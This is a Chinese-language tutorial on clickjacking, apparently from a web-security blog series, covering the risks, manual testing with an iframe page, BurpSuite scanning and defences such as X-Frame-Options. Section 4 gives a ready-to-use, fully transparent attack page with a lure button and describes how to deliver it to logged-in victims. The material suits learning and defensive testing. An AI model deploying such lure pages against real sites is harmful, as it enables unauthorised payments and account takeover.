文章目录
1. 什么是点击劫持
点击劫持是一种超隐蔽的Web漏洞,简单说就是攻击者把你的网站“藏”在自己的恶意页面里,让你在不知情的情况下,点了攻击者想让你点的按钮/链接。
打个比方:你看到的是攻击者页面上的“领取红包”按钮,实际这个按钮下面藏着你已登录的购物网站的“确认付款”按钮,你一点“领红包”,其实是点了“付款”,钱就被转走了。
整个过程你完全没察觉,因为攻击者的页面会把你的网站变成透明的,只露出他想让你点的位置,本质就是**“偷你的点击操作”**。
2. 实际危害
只要网站存在点击劫持漏洞,且你登录了该网站,攻击者就能诱导你点一下他的页面,轻松完成恶意操作,常见危害有:
- 社交平台:偷偷帮你发广告、关注陌生账号、转发恶意链接;
- 购物/支付网站:擅自下单、确认付款、修改收货地址;
- 账号管理:偷偷修改你的密码、绑定攻击者的手机号、注销账号;
- 后台管理:如果是管理员登录,可能被删数据、添加恶意账号、泄露后台信息。
核心危害就一点:用你的手,做攻击者想做的事,全程你毫无察觉。
3. 测试验证
验证点击劫持漏洞有两种方法,一种是纯手动零工具;另一种是用BurpSuite Pro工具主动扫描。
3.1 手动测试
不用复杂工具,只用电脑自带的记事本和浏览器,3步就能测出结果,核心就是看网站能不能被别人的页面嵌套成透明的。
测试前提
确保你已登录目标网站(比如测某购物网站,先登自己的账号,打开“我的订单”或“付款”页面),并记住要测试的按钮位置(比如“确认付款”“修改密码”)。
通用测试地址(无敏感信息,适合快速验证):https://www.baidu.com可直接用于漏洞检测的地址(覆盖不同场景,复制到测试代码中即可快速验证):
第一步:新建一个html文件,复制以下代码
<!DOCTYPE html>
<html>
<head>
<title>点击劫持测试</title>
<style>
/* 把目标网站嵌进来,设为透明 */
#target {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.1; /* 透明度0.1,能看到一点,方便测试;攻击时设为0就是完全透明 */
z-index: 2;
}
/* 攻击者的诱导按钮,盖住目标网站的关键按钮 */
#fake {
position: absolute;
top: 200px; /* 调整位置,对准目标网站的关键按钮 */
left: 100px; /* 调整位置,对准目标网站的关键按钮 */
z-index: 1;
font-size: 20px;
background: red;
color: white;
padding: 10px 20px;
cursor: pointer;
}
</style>
</head>
<body>
<!-- 攻击者的诱导按钮:比如“领取红包”“点击抽奖” -->
<div id="fake">点击领取100元红包</div>
<!-- 嵌套目标网站,把src换成你要测试的网站地址 -->
<iframe id="target" src="https://www.baidu.com"></iframe>
</body>
</html>
第二步:修改代码里的关键位置
- 把
<iframe>里的src值,换成上面的快速检测地址,或你要测试的目标网站页面地址; - 调整
#fake里的top和left数值,让红色的“点击领取100元红包”按钮,对准目标网站的关键按钮(比如百度的“搜索”按钮)。
第三步:保存文件并打开,测试结果判断
双击用浏览器打开,看2种情况:
- 情况1:网站有漏洞(危险):页面能正常显示透明的目标网站+红色的诱导按钮,诱导按钮能精准对准目标网站的关键按钮,点击诱导按钮,就会触发目标网站按钮的操作→存在点击劫持漏洞。
- 情况2:网站无漏洞(安全):打开后要么看不到目标网站的内容,要么iframe区域显示空白/报错,诱导按钮点了也没反应→网站做了防护,没有漏洞。
3.2 工具测试:BurpSuite主动扫描,一键识别漏洞
如果觉得手动测试麻烦,或者需要专业的漏洞检测报告,用BurpSuite 专业版工具的主动扫描功能,可以对指定请求一键检测点击劫持漏洞,操作简单,结果精准,具体步骤如下:
前提准备
- 打开BurpSuite,配置好浏览器代理(让浏览器的请求走BurpSuite);
- 用浏览器访问目标网站的敏感页面(或上面的快速检测地址),让该页面的请求被BurpSuite抓取到。
扫描步骤
-
在BurpSuite的Proxy→History(代理→历史记录)里,找到刚才抓取的目标网站敏感页面的请求,右键选中该请求;
-
在弹出的菜单中,选择Scan(扫描),进入扫描配置页面;

-
扫描配置中,选择Crawl and audit(爬取并审计)模式,扫描强度选择Lightweight(轻量),该模式速度快,能精准识别常见的Web漏洞;


可以看到包括点击劫持检测。

-
点击scan(启动扫描),等待扫描完成(轻量模式一般几秒到十几秒)。
结果查看
扫描完成后,在BurpSuite的Target中,查看扫描报告:
- 如果报告中出现clickjacking(点击劫持)相关的漏洞提示,且风险等级为中/高,说明目标网站存在点击劫持漏洞;
- 如果无相关漏洞提示,说明目标网站做了防护,暂无该漏洞。
优势:相比手动测试,BurpSuite扫描能精准检测出漏洞,还能生成详细的漏洞报告,同时可检测其他Web漏洞,适合批量测试和专业安全检测。
4. 漏洞利用:手把手教你做一个攻击测试页面
上面的手动测试页面是半透明的,攻击者实际用的攻击页面会把目标网站完全透明,让受害者彻底看不到背后的操作,只需要改一个参数,就能做出逼真的攻击测试页面,步骤如下:
攻击版页面代码(复制即用)
<!DOCTYPE html>
<html>
<head>
<title>点击劫持攻击测试</title>
<style>
#target {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 关键:设为0,完全透明,受害者看不到 */
z-index: 2;
}
#fake {
position: absolute;
top: 200px; /* 对准目标网站关键按钮的位置 */
left: 100px; /* 对准目标网站关键按钮的位置 */
z-index: 1;
font-size: 24px;
background: #0088ff;
color: white;
padding: 15px 30px;
border: none;
cursor: pointer;
border-radius: 5px;
}
</style>
</head>
<body>
<!-- 更逼真的诱导按钮,比如抽奖、领福利 -->
<button id="fake">点击抽iPhone 16</button>
<!-- 嵌套已登录的目标网站敏感页面,可替换成上面的快速检测地址 -->
<iframe id="target" src="https://www.example.com/profile"></iframe>
</body>
</html>
利用流程(攻击者的操作)
- 攻击者把这个页面放到自己的服务器,生成一个链接;
- 用短信、朋友圈、私信等方式,诱导受害者点击这个“抽手机”的链接;
- 受害者此时已登录目标网站(比如刚逛完购物网站,没退出),打开链接后,看到只有一个“抽手机”按钮,随手一点;
- 实际点的是背后完全透明的“修改密码”/“确认付款”按钮,完成恶意操作,受害者直到发现账号异常才会察觉。
5. 防御方法
点击劫持的防御非常简单,不用复杂配置,后端加一行代码/前端做个简单设置就能搞定,推荐2种方法搭配使用,防护效果拉满,小白也能操作。
5.1 后端加核心防护头(推荐首选)
在网站的所有页面添加X-Frame-Options响应头,这是浏览器自带的防护机制,直接禁止其他网站嵌套你的页面,有3个值可选,按需配置:
DENY:禁止任何网站嵌套当前网站(最严格,推荐大部分网站使用);SAMEORIGIN:只允许当前网站自己的页面嵌套(适合有内部嵌套需求的网站);ALLOW-FROM https://xxx.com:只允许指定的合法域名嵌套(适合合作网站的定向嵌套)。
简单配置示例
- PHP:在页面开头加
header('X-Frame-Options: DENY'); - Java(Spring):
response.setHeader("X-Frame-Options", "DENY"); - Nginx:在配置文件里加
add_header X-Frame-Options DENY;
5.2 敏感操作加二次验证(兜底防护)
对于网站的核心敏感操作(比如付款、改密码、绑手机号、后台删数据),哪怕做了上面的防护,也建议加二次验证:
- 点击“确认付款”后,要求输入支付密码/短信验证码;
- 点击“修改密码”后,要求先输入原密码;
- 管理员做后台操作时,要求输入验证码/扫码验证。
就算前面的防护被绕过,二次验证也能成为最后一道防线,彻底避免恶意操作。
6. 核心总结
- 点击劫持的本质是偷点击,攻击者把你的网站藏在恶意页面后,诱导你点关键按钮,全程无感知,且针对已登录用户的危害最大;
- 测试漏洞有两种方法:手动测试(记事本+浏览器,零工具)适合新手,可直接用文中提供的快速检测地址,无需找目标页面;BurpSuite工具测试(Scan-Crawl and audit-Lightweight模式)适合专业场景,能一键精准识别clickjacking漏洞;
- 防御的核心是禁止别人嵌套你的网站:后端加X-Frame-Options头是首选,再配合敏感操作二次验证,防护无死角;
- 重点防护敏感页面:付款、账号管理、后台操作页面是攻击者的主要目标,必须做最高级别的防护,同时建议定期用BurpSuite做漏洞扫描。
本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。



7147

被折叠的 条评论
为什么被折叠?



